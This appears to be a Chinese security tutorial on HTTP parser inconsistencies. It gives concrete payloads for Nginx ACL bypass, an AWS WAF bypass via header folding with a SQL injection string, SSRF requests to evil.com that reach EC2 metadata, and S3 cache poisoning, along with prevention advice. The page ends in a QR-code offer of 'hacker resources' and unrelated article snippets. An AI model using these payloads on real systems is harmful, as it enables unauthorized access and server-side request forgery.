【网络安全】HTTP解析器不一致性攻击实现及防护

常见的漏洞原理及防御方法 阅读详情

本文不承担任何因利用本文而产生的任何法律责任,未经许可,不得转载。

文章目录
    • 前言
    • 路径名操纵实现反向代理等规则绕过
      • 函数差异性
      • Nginx ACL规则
      • 利用 Node.js 绕过 Nginx ACL 规则
      • 利用 Flask 绕过 Nginx ACL 规则
      • 利用 Spring Boot 绕过 Nginx ACL 规则
      • 利用 PHP-FPM 集成绕过 Nginx ACL 规则
    • 预防措施
    • 利用折行实现AWS WAF ACL 绕过
    • 利用路径解析错误实现SSRF
        • SSRF On Flask
        • SSRF On Spring Boot
        • SSRF On PHP内置Web服务器
    • 预防措施
    • HTTP异步缓存中毒攻击
      • HTTP异步缓存攻击 On S3

前言

HTTP协议在Web应用程序的运行中至关重要,然而在不同技术中实现HTTP解析器可能为HTTP异步攻击打开窗口,导致潜在的安全漏洞。

本文将从负载均衡器、反向代理等实例出发,做详细说明。


路径名操纵实现反向代理等规则绕过

函数差异性

Web 服务器中的路径名操纵所产生的可利用漏洞,主要由trim()或strip()函数导致。【strip()与trim()本质相同】

不同的语言在调用相应的strip()函数时会删除不同的字符。例如:Python使用strip()函数删除\x85字符:

在这里插入图片描述

而JavaScript的trim()函数则不会删除它:

在这里插入图片描述

同时也可以看到,在Node.js规则中\xa0将被删除,这在稍后将被利用。

Nginx ACL规则

在Nginx中,Location规则充当路由和处理传入 HTTP 请求的关键组件,允许控制不同 URL 的处理方式:

在这里插入图片描述

在这里,Location为根路径的请求提供处理规则,包括指定索引文件、错误页面等设置。

在如下代码中,Nginx将解决对/admin端点的所有访问,若用户访问此端点,Nginx 将返回403并且不会将 HTTP 消息传递到 Web 服务:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

为了防止基于 URI 的规则出现安全问题,Nginx 在执行路径规范化再检查URL。该过程涉及从 URL 路径中删除冗余或不必要的元素,例如额外的斜杠、点段、处理路径遍历和 URL 编码字符。

利用 Node.js 绕过 Nginx ACL 规则

通过以上两个内容的讲解,你或许知道了利用点:由于的Nginx由C编写,其并不能涵盖所有语言的所有字符,故可利用非特殊字符实现路径操纵。

设存在如下Nginx ACL 规则和 Node.js API 源代码:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

app.get('/admin', (req, res) => {
    return res.send('ADMIN');
});

此时访问端点/admin,回显403:

在这里插入图片描述

利用字符\xa0成功访问端点admin:

在这里插入图片描述

流程如下:

Nginx接受HTTP请求,并对/admin\xa0进行路径规范化

由于 Nginx 将字符\xa0作为路径名的一部分,因此/admin\xa0不会触发 URI 的 ACL 规则。Nginx会将HTTP消息转发给后端;

Node.js 服务器收到URI 时,\xa0将被删除,故端点/admin被成功检索。

利用表格如下:

Nginx 版本Node.js 绕过字符
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09,\x0C
1.18.0\xA0, \x09,\x0C
1.16.1\xA0, \x09,\x0C
利用 Flask 绕过 Nginx ACL 规则

Flask在执行规范化操作时从 URL 路径中删除字符\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B, 和\x09,但 Nginx 不会。

设存在如下Nginx ACL 规则和 Flask API 源代码:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

app.get('/admin', (req, res) => {
    return res.send('ADMIN');
});

路径操纵步骤如上,此次使用\x85进行绕过,给出回显:

img

利用表格如下:

Nginx 版本Flask 绕过字符
1.22.0\x85,\xA0
1.21.6\x85,\xA0
1.20.2\x85, \xA0_ \x1F_ \x1E_ \x1D_ \x1C_ \x0C_\x0B
1.18.0\x85, \xA0_ \x1F_ \x1E_ \x1D_ \x1C_ \x0C_\x0B
1.16.1\x85, \xA0_ \x1F_ \x1E_ \x1D_ \x1C_ \x0C_\x0B
利用 Spring Boot 绕过 Nginx ACL 规则

Spring在执行规范化操作时从 URL 路径中删除字符\x09、\t和\x3B,但 Nginx 不会。

设存在如下Nginx ACL 规则和 Spring Boot 源代码:

location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}

@GetMapping("/admin")
public String admin() {
    return "Greetings from Spring Boot!";
}

路径操纵步骤如上,此次使用\t进行绕过,给出回显:

img

利用表格如下:

Nginx 版本Spring Boot 绕过字符
1.22.0;
1.21.6;
1.20.2\x09,;
1.18.0\x09,;
1.16.1\x09,;
利用 PHP-FPM 集成绕过 Nginx ACL 规则

在Nginx与PHP-FPM的结合中,Nginx 充当反向代理,接收传入的 HTTP 请求并将其传递给 PHP-FPM 进行处理,以此提高 PHP 执行的速度和效率。

设存在如下Nginx FPM 配置:

location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

当两个.php文件位于 HTTP 请求的同一路径名中时,FPM 将匹配第一个文件,忽略斜杠之后的所有内容。也就是说访问/ice.php/fhsec.php时,路径中的/fhsec.php将被忽略,从而实现对/ice.php的访问。

由于 Nginx 配置为阻止对特定端点的请求/admin.php,因此可以通过执行以下请求来访问 admin.php 文件:

在这里插入图片描述

该漏洞的利用前提为:第二个文件存在于服务器结构中。

预防措施

特殊字符在Nginx中被忽略已成既定,预防方法则为:在ACL规则中使用~表达式而不是=

location ~* ^/admin {
    deny all;
}

这样,任意含有/admin的字符串的请求将被阻止。

利用折行实现AWS WAF ACL 绕过

在AWS中,AWS WAF ACL是一组规则,用于允许或拒绝对 Web 应用程序的访问请求。当 Web 请求到达 AWS WAF 时,ACL 将会根据事先定义的规则进行匹配。如果匹配成功,ACL 将会根据规则的定义执行相应的操作。

像 Node.js、Flask 等许多 Web 服务器有时会遇到一种现象,称为"折行"。折行是指使用字符 \x09(制表符)和 \x20(空格)将长标头值分割成多行以提高可读性的做法。

例如,在下面的请求中,标头 1337: Value\r\n\t1337 将被 Node.js 服务器解释为 1337: Value\t1337:

GET / HTTP/1.1
Host: target.com
1337: Value
    1337
Connection: close

如果构造请求包如下:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: \r\n
\x09' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

该请求包在经过WAF时,恶意Payload并不会被拦截,而是被传递至Nginx服务器,而\x09被Nginx忽略,从而导致请求包在服务端被解析为:

GET / HTTP/1.1
Host: target.com
X-Query: \x09' or '1'='1' -- 
Connection: close

实例如下:

img

可以看到 Node.js 将字符 ' or '1'='1' --解释为 X-Query 标头的值。然而,AWS WAF 将其视为标头名称而不是标头值。

利用路径解析错误实现SSRF

通常,有效的 HTTP 路径名以 / 或 http(s)://domain/ 开头,但是大多数流行的 WEB 服务器没有正确验证它。

SSRF On Flask

对 Flask 的路径名解析进行测试,发现Flask接受字符@。例如,以下 HTTP 请求被Flask框架视为有效,但服务器响应404 Not Found:

GET @/ HTTP/1.1
Host: target.com
Connection: close

设存在某一代码段如下:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://ice.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
  return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
    app.run(threaded=False)

如果在 SITE_NAME 变量中没有添加最后一个斜杠,或许可导致SSRF。

简要解释一下,如果没有添加最后一个斜杠,基本URL被视为:

https://ice.com

此时加上指定路径时并不受当前路径的限制。

但是,如果在 SITE_NAME 变量中添加了最后一个斜杠,那么基本URL就会被视为:

https://ice.com/

此时,任何进一步添加的路径都会被视为相对于基本URL的路径。即/passwd.txt 将会被解释为 https://ice.com/passwd.txt,即访问ice.com下的passwd.txt内容。

由于 Flask 也允许在 @ 后面使用任何 ASCII 字符,因此可以在连接恶意路径名和目标服务器后获取任意域。

如图,回显EC2元数据:

img

SSRF On Spring Boot

在 HTTP 路径名的第一个斜杠之前,Spring 框架允许使用;作为matrix参数分隔符,如下请求被视为合法:

GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close

显而易见,若一服务器端请求利用了完整的请求路径名来获取一个端点,这可能导致SSRF。

设存在代码段如下:

@GetMapping("/")
public Map<String, String> list(@RequestHeader Map<String, String> headers) {
  return headers;
}

@GetMapping("/url")
public String getURLValue(HttpServletRequest request) throws IOException {
  String site = "http://ifconfig.me";
  String uri = request.getRequestURI();
  URL url = new URL(site + uri.toString());
  String response = getSource(url);
  return response;
}

private String getSource(URL url) throws IOException {
  URLConnection spoof = url.openConnection();
  StringBuffer sb = new StringBuffer();
  spoof.setRequestProperty("User-Agent", "SpringApp");
  BufferedReader in = new BufferedReader(new InputStreamReader(spoof.getInputStream()));
  String strLine = "";
  while ((strLine = in.readLine()) != null) {
    sb.append(strLine);
  }
  return sb.toString();
}

Spring 允许在 Matrix 参数分隔符后面添加任何字符,因此也可以使用@来获取任意端点。

Payload:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

img

SSRF On PHP内置Web服务器

PHP允许在路径名的第一个斜杠之前和斜杠之间使用星号*字符,几乎所有ASCII字符都被视为有效的HTTP请求。如何构造SSRF无需多言。

但该法存在如下限制:

1、只能用于根路径名/,即受漏洞影响的代码必须位于index.php文件中;

2、第一个斜杠之前不允许出现点.,这限制了包含任意IP和域名,为了规避这个问题,有效载荷必须包含不带点的十六进制编码的恶意域名的IP地址。可使用所给链接工具生成:

https://gist.github.com/mhmdiaa/2587e2330b87db99c81ace2a190e235f

设存在PHP代码如下:

<?php
$site = "http://ice.com";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

代码功能为:将获取到的当前URI添加到ice.com后面并进行访问。

Payload:

GET *@十六进制编码/ HTTP/1.1
Host: target.com
Connection: close

如图,回显EC2元数据:

img

预防措施

1、将 URL 域与用户输入连接时,使用完整的 URL 域。例如,确保在域名后面添加尾部斜杠,例如http://ice.com/.

2、通常,只有在使用框架且没有额外的反向代理来验证 HTTP 路径名的情况下,才会出现上述漏洞。故合并反向代理可以增强 Web 应用程序的安全性。

HTTP异步缓存中毒攻击

在解释头名称之前,需要从头名称中删除无效的不可见字符,但在该操作中,服务器和反向代理之间存在不一致。

在开始攻击前,先了解一下缓存服务器中的相关概念。当ice初次向缓存服务器访问ice.com时,缓存服务器中并无ice.com的缓存记录,因此需要向源服务器发送请求获取ice.com的内容。缓存服务器将这部分信息存储在缓存中,以便日后被访问。

当ice第二次向缓存服务器访问ice.com时,由于缓存服务器已经存储了ice.com的内容,它可以直接从缓存中获取ice.com的信息。

在这里面,ice.com就作为缓存键,用于充当允许访问缓存内容的引用或标签。

除了URL路径名之外,另一个默认的缓存键是Host头。设一个缓存的JavaScript文件位于https://ice.com/static/ice.js,ice向该URL发送请求时,缓存服务器将返回响应。

然而,如果ice发送一个HTTP请求到相同的端点,但修改了Host头为2024.target.com,缓存服务器将尝试使用1337.target.com作为host头,来检索后端的/static/ice.js,并为该特定的HTTP消息生成一个存储响应。

HTTP异步缓存攻击 On S3

在 Amazon AWS S3 存储桶中,Host头可以协助请求路由到正确的存储桶以及实现对存储内容的正确访问。

当向S3存储桶发出请求时,AWS会检查Host头以确定目标存储桶。因此,如果用户向域名A.s3.amazonaws.com发送HTTP请求,但将host头更改为ice.s3.amazonaws.com,则AWS在内部将忽略域名,仅获取Host头中指定的存储桶。这是云服务中常见的做法。

基于以上做法,当在请求中包含多个Host头时,仅采用第一个,其它都将被忽略。

初步构造Payload:

GET / HTTP/1.1
Host: evilbucket.com
Host: example.bucket.com
Connection: close

同时注意到:如果Host头中存在以下字节,则将被忽略:\x1f, \x1d, \x0c, \x1e, \x1c, \x0b

如果缓存服务器将被忽略的字节包括在Host头中,将其视为无效的host头;而S3并不将被忽略的字节包括在Host头中,故可缓存任意S3存储桶。

最终Payload:

GET /xxx.xxx HTTP/1.1
[\x1d]Host: evilbucket.com
Host: example.bucket.com
Connection: close

实战附图:

在这里插入图片描述

在这里插入图片描述

流程如下:

请求包到达缓存服务器时,缓存服务器将[\x1d]Host: evilbucket.com视为无效,跳过。

缓存服务器将example.bucket.com视为有效,导致最终的缓存响应与此主机值相关联。

请求包到达S3存储桶时,[\x1d]Host: evilbucket.com被视为有效,第二个host头被忽略。

example.bucket.com页面返回evilbucket.com的S3存储桶缓存。

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

😝朋友们如果有需要的话,可以V扫描下方二维码联系领取~

1️⃣零基础入门
学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

需要详细路线图的,下面获取

路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

2️⃣视频配套工具&国内外网安书籍、文档
工具

######视频

image1

书籍

image2

资源较为敏感,未展示全面,需要的下面获取

### 3️⃣Python面试集锦

面试资料

在这里插入图片描述在这里插入图片描述

简历模板

在这里插入图片描述

因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆

------ 🙇‍♂️ 本文转自网络,如有侵权,请联系删除 🙇‍♂️ ------

XML注入攻击 vs XSS攻击 这个看似简单的输入,却可能引发两种完全不同的安全漏洞 - XML注入攻击和XSS攻击。它们看起来相似,但本质完全不同,防御方法也大相径庭。理解这两种攻击的区别和联系,才能构建真正安全的应用系统。记住:安全不是"有没有"的问题,而是"有多全面"的问题!字段进行过滤,导致XML解析器处理异常,可能引发服务中断或数据泄露。当其他用户浏览该评论时,浏览器执行恶意脚本,导致会话劫持。 阅读详情

相关推荐

DDoS攻击防御全解析:从原理到企业级防护方案

分布式拒绝服务(DDoS)攻击是网络安全领域最具破坏性的威胁之一,其本质是通过控制僵尸网络向目标系统发起海量请求。从技术原理看,这类攻击可分为应用层HTTP洪水、协议层SYN洪水以及利用反射放大效应的DNS/NTP攻击等类型。现代防御体系需要结合流量清洗、WAF规则优化和源站保护等多层防护策略,其中机器学习算法在实时检测中能达到98.1%的准确率。对于企业用户而言,构建包含BGP Anycast引导、行为分析和自动切换机制的防护方案至关重要,例如某云服务商的清洗中心已实现15Tbps处理能力。随着AI和区块

weixin_29741447的博客 9

【web安全】XSS攻击(跨站脚本攻击)如何防范与实现

XSS攻击(跨站脚本攻击)是一种常见的Web安全漏洞,攻击者在Web页面中插入恶意脚本代码,并在受害人访问该页面时执行脚本代码,从而获取用户敏感信息、操作受害人账号或篡改页面内容等不当行为。XSS攻击可以通过输入表单、搜索框、评论区等途径实现,因此对于Web开发人员来说,要采取相应的措施预防和修复XSS漏洞,以确保用户数据的安全。

AA2534193348的博客 5804

DOS与DDOS攻击防御详解

DDoS攻击防御摘要:DDoS攻击通过海量恶意流量耗尽目标资源,分为流量型(UDP洪水、DNS放大)、协议型(SYN洪水)和应用层攻击(HTTP洪水)。防御需多层次:1)架构优化,如CDN、负载均衡;2)技术措施,配置速率限制、SYN Cookie,部署云清洗服务;3)实时监控与应急响应。针对特定攻击,需采取相应防护,如过滤非必要协议、启用WAF等。防御核心是将攻击阻挡在上游,分离恶意与正常流量。云服务商的高防IP是经济有效的解决方案。

2401_87127984的博客 977

Apache中文URL中有包含“\x85”字节的汉字时导致的Rewrite失败及404问题

问题描述Apache版本:2.4.26 (Win32) Rewrite规则:RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]Url中有Unicode编码包含有”\x85”的汉字字节(即encode后包含“%85”的汉字, 如:“关”、 “兲“、 “共“、 “兰“、 “儰”、 “䅰”、 “腰” 等),并且不是作为查询参数时,无法正常使用。解决方法 URL中尽量不

在路上吗 2020

解密协议层的攻击:HTTP请求走私的安全探究

在网络安全领域,攻击者不断寻找新的方式来利用协议的漏洞,HTTP请求走私(HTTP Request Smuggling)就是一种常见的攻击技术。该攻击利用HTTP协议在代理服务器或负载均衡器等中间设备中对请求报文解析的差异,从而导致恶意请求被绕过安全检查或访问受限资源。本文将详细介绍HTTP请求走私的原理,分析其安全风险,并提供相关的源代码示例。

XvrgMatlab的博客 722

深入SVT SPI VIP配置:如何灵活控制CS间隔、数据帧大小与时钟频率(含代码片段)

本文深入探讨了SVT SPI VIP的高级配置技巧,包括精确控制CS信号间隔、突破数据帧大小限制以及动态时钟频率切换。通过实战代码片段和详细配置步骤,帮助验证工程师灵活应对复杂SPI协议验证场景,提升验证效率和覆盖率。特别适合需要处理非标准SPI时序和特殊数据帧的芯片验证项目。

weixin_27014595的博客 283

【Python】如何将文件中\xe8\x85\xbe\xe8字符转成中文?

解析文件resultjsonlog.txt中的内容,此文件内容比较特殊,每行中appName和caseName都是‘\xe8\x85\xbe\xe8’这种中文字符,搞了一下午,终于试出来了,记录一下。 resultjsonlog.txt的内容如下: ##*startJson*##{'competitorPerfInfo': {'deviceName': 'EML-AL00', 'appName': '\xe8\x85\xbe\xe8\xae\xaf\xe6\x96\xb0\xe9\x97\xbb', 'de

weixin_45329445的博客 9259

Qwen3.6-27B本地部署实战:LM Studio配置、硬件门槛与避坑指南

大语言模型本地部署是当前AI工程落地的核心能力之一,其本质是将高参数量模型(如27B级)在受限硬件环境下实现低延迟、高稳定推理。关键技术原理涵盖量化压缩(如GGUF格式与q4_k_m精度权衡)、GPU显存分配策略(KV Cache管理与Offloading机制)、以及运行时环境兼容性(CUDA驱动、llama.cpp后端版本)。该能力直接决定私有化AI应用的技术可行性与成本边界,广泛应用于企业知识库构建、代码辅助、长文档分析等对数据主权和响应确定性要求高的场景。本文聚焦Qwen3.6-27B这一典型27B模

weixin_33272631的博客 468

拦截器实现登录拦截和跨域问题

什么是拦截器:在AOP(Aspect-Oriented Programming)中用于在某个方法或字段被访问之前,进行拦截然后在之前或之后加入某些操作。拦截是AOP的一种实现策略为什么需要拦截器:在做身份认证或者是进行日志的记录时,我们需要通过拦截器达到我们的目的。最常用的登录拦截、或是权限校验、或是防重复提交、或是根据业务像12306去校验购票时间,总之可以去做很多的事情如何用拦截器。

Mr. Ding的小博客 370

告别手动打点计时:用Lauterbach TRACE32的RunTime功能,5分钟搞定嵌入式代码段性能分析

本文深入解析了Lauterbach TRACE32的RunTime功能在嵌入式代码性能分析中的革命性应用。通过硬件级计时原理和非侵入式设计,该功能能快速精确测量代码执行时间,显著提升开发效率,特别适用于汽车电子和工业控制领域。文章还提供了从基础设置到高级分析的完整实战指南,帮助工程师轻松掌握这一强大工具。

weixin_30615767的博客 281

从理论到实践:全面解析Cmk(设备能力指数)的应用与优化

本文全面解析了设备能力指数Cmk的核心概念、计算逻辑与关键应用场景。Cmk作为衡量设备本身固有加工能力的黄金标准,在设备验收、大修后验证及过程能力根因分析中至关重要。文章通过实战案例,详细阐述了执行Cmk测试的“五大固定”黄金法则、数据计算分析方法,并提供了Cmk不达标时的系统性排查与优化策略,帮助制造企业实现预防性质量管理。

jump7的博客 530

【网络安全】DDOS攻击

DDoS(Distributed Denial of Service,分布式拒绝服务)攻击是一种恶意行为,攻击者利用大量被控制的计算机(僵尸网络)向目标服务器或网络资源发送海量请求,导致其超负荷运行,最终无法正常提供服务。核心目标:使合法用户无法访问服务,造成业务中断或经济损失。攻击者往往出于商业竞争、敲诈勒索或政治目的发动攻击。

Made In SQL 1107

无迹卡尔曼滤波 (UKF, Unscented Kalman Filter) 算法详解及案例分析

无迹卡尔曼滤波是一种用于估计非线性系统状态的递归算法。其目标是通过结合系统模型和观测数据,估计系统的最优状态。

闲人编程的博客 2632

网络安全防护:注入攻击

注入攻击:把用户输入的数据当做代码执行

xike1024的博客 1176

修改 Alist 密码时报错?看看这个坑怎么解决!

启动服务后,再修改密码”。以后再遇到类似问题,先检查服务是否正常运行,说不定就能少踩不少坑。如果还有其他 Alist 的问题,欢迎在评论区留言交流~

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 1155

MATLAB计算各种复合干热指数,如SDHI、DHMI等

MATLAB编程实现各种复合干热指数

WW、forever的博客 5082

AMA Protocol网络安全实践:HTTP限流、请求体限制与VecPak深度攻击防护

区块链节点一旦暴露在公网,就会成为攻击者的"练靶场":高频刷接口、超大请求体压垮内存、畸形编码触发递归爆炸……任何一环失守,都可能导致节点宕机、共识中断。AMA Protocol 的开源节点项目 `node`(Elixir + Rust 混合架构)给出了一套相当扎实的**网络安全实践**:用 **HTTP限流** 挡住滥用流量,用 **请求体限制** 掐断内存耗尽攻击,再用 **VecPak深度攻

gitblog_00264的博客 344

PointNet++改进策略 :模块改进 | x-Conv | PointCNN, 结合局部结构与全局排列提升模型性能

这篇论文介绍了一种名为PointCNN的方法,旨在从点云(point cloud)数据中学习特征。传统卷积神经网络(CNN)在处理规则网格数据(如图像)时非常有效,但由于点云是无序且不规则的,直接在其上应用卷积操作会导致形状信息丢失,并对点的排列顺序敏感。为了解决这一问题,论文提出了一种X-Conv操作。该方法通过学习一种来重新排列点云中的点并加权输入特征。然后,将典型的卷积操作应用于转换后的特征。这种方法将传统的 CNN 扩展到点云特征学习,并命名为PointCNN。

u012901740的博客 2300

最新的各HTTP解析器差异导致的漏洞,从零基础到精通,收藏这篇就够了!

Nginx 是一个强大的 Web 服务器和反向代理,关于Nginx 重写或拦截 HTTP 消息功能的,是通过HTTP路径名部分的特定字符串或正则表达式触发的规则来控制。在 Nginx 中,“location”规则能够根据请求的 URL 定义特定的指令和行为。此规则充当路由和处理传入 HTTP 请求的关键组件,允许控制不同 URL 的处理方式。这段 Nginx 规则是拦截/admin端点的所有访问,因此如果用户尝试访问此目录,Nginx 将返回403并拦截掉这个HTTP请求。

Javachichi的博客 1117

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

HTTP走私检测终极指南:10个关键步骤掌握CL.TE与TE.CL攻击防护

